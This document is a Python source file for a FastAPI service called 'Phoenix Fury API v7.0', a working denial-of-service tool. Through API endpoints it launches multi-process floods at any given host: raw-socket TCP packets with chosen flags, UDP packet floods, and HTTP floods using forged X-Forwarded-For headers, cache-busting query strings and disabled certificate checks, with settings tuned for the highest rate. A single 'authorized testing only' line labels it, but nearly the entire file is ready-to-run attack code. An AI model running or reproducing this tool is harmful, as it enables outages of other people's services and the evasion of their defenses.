main.py

import socket
import struct
import random
import time
import multiprocessing
import threading
import asyncio
import aiohttp
import os
import sys
import psutil
import ssl
from typing import Literal, List, Union
from ctypes import c_ulonglong

# Use uvloop for a significant performance boost
try:
    import uvloop
    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
except ImportError:
    pass

from fastapi import FastAPI, HTTPException, BackgroundTasks
from pydantic import BaseModel, Field
import uvicorn

# --- Application Setup ---
app = FastAPI(
    title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
    description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
    version="7.0.0"
)

# --- Auto-Optimized Configuration ---
CPU_COUNT = psutil.cpu_count(logical=True) or 8
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)

# Optimized for SUSTAINED performance (not burst)
# More processes, lower concurrency = better sustained RPS
if CPU_COUNT >= 32:
    # High-core systems (32-64+ cores)
    MAX_PROCESSES = min(CPU_COUNT * 4, 256)
    MAX_CONCURRENCY_PER_PROCESS = 256  # Lower for stability
elif CPU_COUNT >= 16:
    MAX_PROCESSES = CPU_COUNT * 6
    MAX_CONCURRENCY_PER_PROCESS = 384
elif CPU_COUNT >= 8:
    # 8-core systems (like yours)
    MAX_PROCESSES = CPU_COUNT * 12  # 96 processes
    MAX_CONCURRENCY_PER_PROCESS = 512
else:
    MAX_PROCESSES = CPU_COUNT * 8
    MAX_CONCURRENCY_PER_PROCESS = 256

STATS_BATCH_UPDATE_SIZE = 500  # Smaller batches for accurate counting
TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS

# --- L7 Enhanced Headers Pool ---
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
]
REFERERS = [
    "https://www.google.com/search?q=",
    "https://www.bing.com/search?q=",
    "https://www.facebook.com/",
    "https://www.twitter.com/",
    "https://www.reddit.com/",
    "https://www.youtube.com/"
]

def get_random_headers() -> dict:
    """Generates randomized headers with IP spoofing for L7 attacks."""
    return {
        "User-Agent": random.choice(USER_AGENTS),
        "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
        "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.9",
        "Accept-Encoding": "gzip, deflate, br",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache"
    }

# ====================================================================================
#  Pydantic API Models (Simplified - Auto Max Settings)
# ====================================================================================
class BaseAttackConfig(BaseModel):
    target: str = Field(..., description="Target hostname or IP address")
    port: int = Field(..., ge=1, le=65535, description="Target port")
    duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")

class L4TCPConfig(BaseAttackConfig):
    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")

class L4UDPConfig(BaseAttackConfig):
    method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
    payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")

class L7Config(BaseAttackConfig):
    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
    path: str = Field("/", description="Request path")

class StatusResponse(BaseModel):
    attack_active: bool
    attack_type: str
    target_host: str
    target_ip: str
    port: int
    duration: int
    elapsed_time: float
    processes: int
    total_sent: int
    current_rate_pps_rps: float
    cpu_usage_percent: float
    memory_usage_percent: float

# ====================================================================================
#  CORE NETWORKING & PACKET CRAFTING
# ====================================================================================
def check_root() -> bool:
    """Check if running with root/admin privileges."""
    try:
        return os.geteuid() == 0
    except AttributeError:
        import ctypes
        return ctypes.windll.shell32.IsUserAnAdmin() != 0

def resolve_target(target: str) -> str:
    """Resolve hostname to IP address."""
    try:
        if "://" in target:
            target = target.split("://")[1].split("/")[0]
        return socket.gethostbyname(target)
    except socket.gaierror:
        raise ValueError(f"Could not resolve hostname: {target}")

def get_local_ip(target_ip: str) -> str:
    """Get local IP address that routes to target."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((target_ip, 1))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "127.0.0.1"

def calculate_checksum(data: bytes) -> int:
    """Calculate IP/TCP/UDP checksum."""
    s = 0
    if len(data) % 2:
        data += b'\0'
    for i in range(0, len(data), 2):
        s += (data[i] << 8) + data[i+1]
    s = (s >> 16) + (s & 0xffff)
    s += (s >> 16)
    return (~s) & 0xffff

def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
    """Create IP header."""
    header = struct.pack('!BBHHHBBH4s4s',
        (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
    )
    return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]

def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
    """Create TCP header with specified flags."""
    seq = random.randint(1, 4294967295)
    ack_seq = 0
    header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
    checksum = calculate_checksum(pseudo_header + header)
    return header[:16] + struct.pack('!H', checksum) + header[18:]

def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
    """Create UDP header."""
    udp_len = 8 + len(payload)
    header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
    checksum = calculate_checksum(pseudo_header + header + payload)
    return header[:6] + struct.pack('!H', checksum)

# ====================================================================================
#  OPTIMIZED L4 WORKER PROCESS
# ====================================================================================
def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
    """Ultra-optimized L4 worker with raw sockets."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        # Increase socket buffer for higher throughput
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
        local_ip = get_local_ip(target_ip)
    except Exception as e:
        print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)
        return

    local_counter = 0
    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
    
    # Pre-generate payloads for UDP
    if attack_type == 'udp':
        if method_details == 'pps' or method_details == 0:
            payload = b''
        else:
            payload = os.urandom(method_details)
        udp_len = 8 + len(payload)

    # Packet crafting loop - optimized for speed
    while not stop_event.is_set():
        try:
            src_port = random.randint(10000, 65535)
            
            if attack_type == 'tcp':
                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
                tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
                packet = ip_header + tcp_header
            else:  # udp
                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
                udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
                packet = ip_header + udp_header + payload
            
            sock.sendto(packet, (target_ip, port))
            local_counter += 1
            
            # Batch counter updates for performance
            if local_counter >= STATS_BATCH_UPDATE_SIZE:
                with shared_counter.get_lock():
                    shared_counter.value += local_counter
                local_counter = 0
        except:
            pass  # Ignore errors for maximum speed
    
    # Final counter update
    if local_counter > 0:
        with shared_counter.get_lock():
            shared_counter.value += local_counter
    sock.close()

# ====================================================================================
#  OPTIMIZED L7 WORKER PROCESS
# ====================================================================================
async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
    """Optimized L7 worker for sustained high RPS."""
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    # Balanced connector settings for sustained throughput
    connector = aiohttp.TCPConnector(
        limit=concurrency * 2,  # 2x concurrency for connection pool
        limit_per_host=concurrency,  
        ttl_dns_cache=300,
        force_close=False,  # Reuse connections
        enable_cleanup_closed=True,
        keepalive_timeout=30
    )
    
    # Balanced timeouts
    timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=5)
    
    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
        async def task_worker(worker_id):
            """Individual task worker - sends requests continuously."""
            local_counter = 0
            consecutive_errors = 0
            
            while not stop_event.is_set():
                try:
                    # Random query string to bypass caching
                    cache_buster = f"?_t={int(time.time() * 1000)}&_r={random.randint(1, 999999)}"
                    
                    # Use the specified HTTP method
                    async with session.request(
                        method.upper(),
                        f"{url}{cache_buster}", 
                        headers=get_random_headers(),
                        allow_redirects=False,
                        timeout=timeout
                    ) as response:
                        # Read just the status - count only successful requests
                        if response.status < 500:  # Count all non-server-error responses
                            local_counter += 1
                            consecutive_errors = 0
                        else:
                            consecutive_errors += 1
                            
                except (asyncio.TimeoutError, aiohttp.ClientError):
                    consecutive_errors += 1
                    # Back off if too many errors
                    if consecutive_errors > 5:
                        await asyncio.sleep(0.05)
                        consecutive_errors = 0
                except Exception:
                    consecutive_errors += 1
                    if consecutive_errors > 5:
                        await asyncio.sleep(0.05)
                        consecutive_errors = 0
                finally:
                    # Batch updates for performance
                    if local_counter >= STATS_BATCH_UPDATE_SIZE:
                        with shared_counter.get_lock():
                            shared_counter.value += local_counter
                        local_counter = 0
                    # No sleep - maximum speed
            
            # Final update
            if local_counter > 0:
                with shared_counter.get_lock():
                    shared_counter.value += local_counter
        
        # Launch all concurrent tasks with IDs
        tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
        await asyncio.gather(*tasks, return_exceptions=True)

def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
    """L7 worker process entry point."""
    protocol = "https" if port in [443, 8443] else "http"
    url = f"{protocol}://{target_ip}:{port}{path}"
    try:
        asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
    except Exception as e:
        print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)

# ====================================================================================
#  CENTRALIZED ATTACK MANAGER (SINGLETON)
# ====================================================================================
class AttackManager:
    """Singleton manager for all attacks."""
    _instance = None
    
    def __new__(cls):
        if cls._instance is None:
            cls._instance = super(AttackManager, cls).__new__(cls)
            cls._instance._initialized = False
        return cls._instance

    def __init__(self):
        if self._initialized:
            return
        self._initialized = True
        self.lock = threading.Lock()
        self.stats_thread = None
        self._reset_state()

    def _reset_state(self):
        """Reset all attack state."""
        self.attack_active = False
        self.attack_type = "None"
        self.target_host = "None"
        self.target_ip = "None"
        self.port = 0
        self.duration = 0
        self.start_time = 0.0
        self.process_count = 0
        self.processes: List[multiprocessing.Process] = []
        self.stop_event = multiprocessing.Event()
        self.counter = multiprocessing.Value(c_ulonglong, 0)
        self.current_rate = 0.0

    def is_active(self):
        """Check if an attack is currently active."""
        with self.lock:
            return self.attack_active

    def _stats_calculator(self):
        """Background thread to calculate current rate."""
        last_check_time = time.time()
        last_count = 0
        
        while not self.stop_event.is_set():
            time.sleep(1)
            now = time.time()
            current_count = self.counter.value
            elapsed = now - last_check_time
            
            if elapsed > 0:
                self.current_rate = (current_count - last_count) / elapsed
            
            last_check_time = now
            last_count = current_count
        
        self.current_rate = 0.0

    def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
        """Start an attack with auto-optimized settings."""
        with self.lock:
            if self.attack_active:
                return
            
            try:
                self.target_host = config.target
                self.target_ip = resolve_target(self.target_host)
                
                if family == 'l4' and not check_root():
                    raise PermissionError("Layer 4 attacks require root privileges.")
            except (ValueError, PermissionError) as e:
                print(f"Attack validation failed: {e}", file=sys.stderr)
                self._reset_state()
                return

            self.attack_active = True
            self.port = config.port
            self.duration = config.duration
            self.process_count = MAX_PROCESSES  # AUTO MAX
            self.start_time = time.time()
            
            worker_target, worker_args, attack_name = (None, None, "Unknown")
            
            if family == 'l7' and isinstance(config, L7Config):
                attack_name = f"L7-{config.method.upper()}"
                worker_target = l7_worker_process
                worker_args = (
                    self.stop_event, 
                    self.counter, 
                    self.target_ip, 
                    config.port, 
                    config.path, 
                    config.method, 
                    MAX_CONCURRENCY_PER_PROCESS  # AUTO MAX
                )
            elif family == 'l4':
                worker_target = l4_worker_process
                if isinstance(config, L4TCPConfig):
                    attack_name = f"L4-TCP-{config.method.upper()}"
                    worker_args = (
                        self.stop_event, 
                        self.counter, 
                        self.target_ip, 
                        config.port, 
                        'tcp', 
                        config.method
                    )
                elif isinstance(config, L4UDPConfig):
                    attack_name = f"L4-UDP-{config.method.upper()}"
                    worker_args = (
                        self.stop_event, 
                        self.counter, 
                        self.target_ip, 
                        config.port, 
                        'udp', 
                        config.method if config.method == 'pps' else config.payload_size
                    )
            
            self.attack_type = attack_name
            
            print("=" * 70)
            print(f"🔥 PHOENIX FURY MAXIMUM POWER - ATTACK INITIATED 🔥")
            print(f"   Type: {self.attack_type}")
            print(f"   Target: {self.target_host}:{self.port} ({self.target_ip})")
            print(f"   Duration: {self.duration}s")
            print(f"   Processes: {self.process_count} (AUTO MAX)")
            if family == 'l7':
                print(f"   Concurrency per Process: {MAX_CONCURRENCY_PER_PROCESS}")
                print(f"   Total Concurrent Tasks: {self.process_count * MAX_CONCURRENCY_PER_PROCESS:,}")
            print("=" * 70)

            # Launch all worker processes
            for _ in range(self.process_count):
                p = multiprocessing.Process(target=worker_target, args=worker_args)
                self.processes.append(p)
                p.start()
            
            # Start stats calculator
            self.stats_thread = threading.Thread(target=self._stats_calculator)
            self.stats_thread.start()

    def stop(self):
        """Stop the current attack."""
        with self.lock:
            if not self.attack_active:
                return
            
            print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
            self.stop_event.set()
            
            # Wait for processes to finish
            for p in self.processes:
                p.join(timeout=5)
            
            # Force terminate hanging processes
            for p in self.processes:
                if p.is_alive():
                    print(f"Terminating hanging process PID: {p.pid}")
                    p.terminate()
            
            # Stop stats thread
            if self.stats_thread:
                self.stats_thread.join(timeout=2)
            
            # Calculate final stats
            elapsed = time.time() - self.start_time
            total_sent = self.counter.value
            avg_rate = total_sent / elapsed if elapsed > 0 else 0
            
            print("=" * 50)
            print("✅ ATTACK TERMINATED")
            print(f"   Total Sent: {total_sent:,}")
            print(f"   Elapsed Time: {elapsed:.2f}s")
            print(f"   Average Rate: {avg_rate:,.2f} PPS/RPS")
            print("=" * 50)
            
            self._reset_state()

    def get_status(self) -> StatusResponse:
        """Get current attack status."""
        with self.lock:
            return StatusResponse(
                attack_active=self.attack_active,
                attack_type=self.attack_type,
                target_host=self.target_host,
                target_ip=self.target_ip,
                port=self.port,
                duration=self.duration,
                elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
                processes=self.process_count,
                total_sent=self.counter.value,
                current_rate_pps_rps=round(self.current_rate, 2),
                cpu_usage_percent=psutil.cpu_percent(),
                memory_usage_percent=psutil.virtual_memory().percent
            )

MANAGER = AttackManager()

# ====================================================================================
#  FASTAPI ENDPOINTS
# ====================================================================================
@app.on_event("startup")
async def on_startup():
    """Startup message with system info."""
    print("=" * 70)
    print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
    print(f"   System: {CPU_COUNT} CPU cores | {TOTAL_RAM_GB:.1f} GB RAM")
    print(f"   Auto-configured processes: {MAX_PROCESSES}")
    print(f"   Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
    print(f"   Total workers: {TOTAL_WORKERS:,}")
    print(f"   Expected RPS: {int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}")
    if check_root():
        print("✅ Running with root privileges - L4 attacks ENABLED")
    else:
        print("⚠️ WARNING: Not root - L4 attacks will FAIL")
    print("=" * 70)

def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
    """Run attack lifecycle in background."""
    if MANAGER.is_active():
        raise HTTPException(status_code=409, detail="An attack is already in progress.")
    
    background_tasks.add_task(MANAGER.start, config, family)
    background_tasks.add_task(time.sleep, config.duration)
    background_tasks.add_task(MANAGER.stop)

@app.post("/attack/layer7")
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
    """Start L7 attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l7', background_tasks)
    return {
        "status": "success",
        "message": f"L7 attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES,
        "concurrency_per_process": MAX_CONCURRENCY_PER_PROCESS,
        "total_workers": MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
    }

@app.post("/attack/layer4/tcp")
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
    """Start L4 TCP attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {
        "status": "success",
        "message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES
    }

@app.post("/attack/layer4/udp")
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
    """Start L4 UDP attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {
        "status": "success",
        "message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES
    }

@app.post("/attack/stop")
def api_stop_attack():
    """Stop the current attack."""
    if not MANAGER.is_active():
        return {"status": "info", "message": "No attack is currently running."}
    MANAGER.stop()
    return {"status": "success", "message": "Stop signal sent."}

@app.get("/status", response_model=StatusResponse)
def get_status():
    """Get current attack status and system metrics."""
    return MANAGER.get_status()

@app.get("/")
def root():
    """Root endpoint with API info."""
    return {
        "message": "🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
        "docs": "/docs",
        "system": {
            "cpu_cores": CPU_COUNT,
            "ram_gb": round(TOTAL_RAM_GB, 1),
            "max_processes": MAX_PROCESSES,
            "max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
            "total_workers": TOTAL_WORKERS,
            "expected_rps": f"{int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}"
        }
    }

# --- Main Execution ---
if __name__ == "__main__":
    multiprocessing.freeze_support()
    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)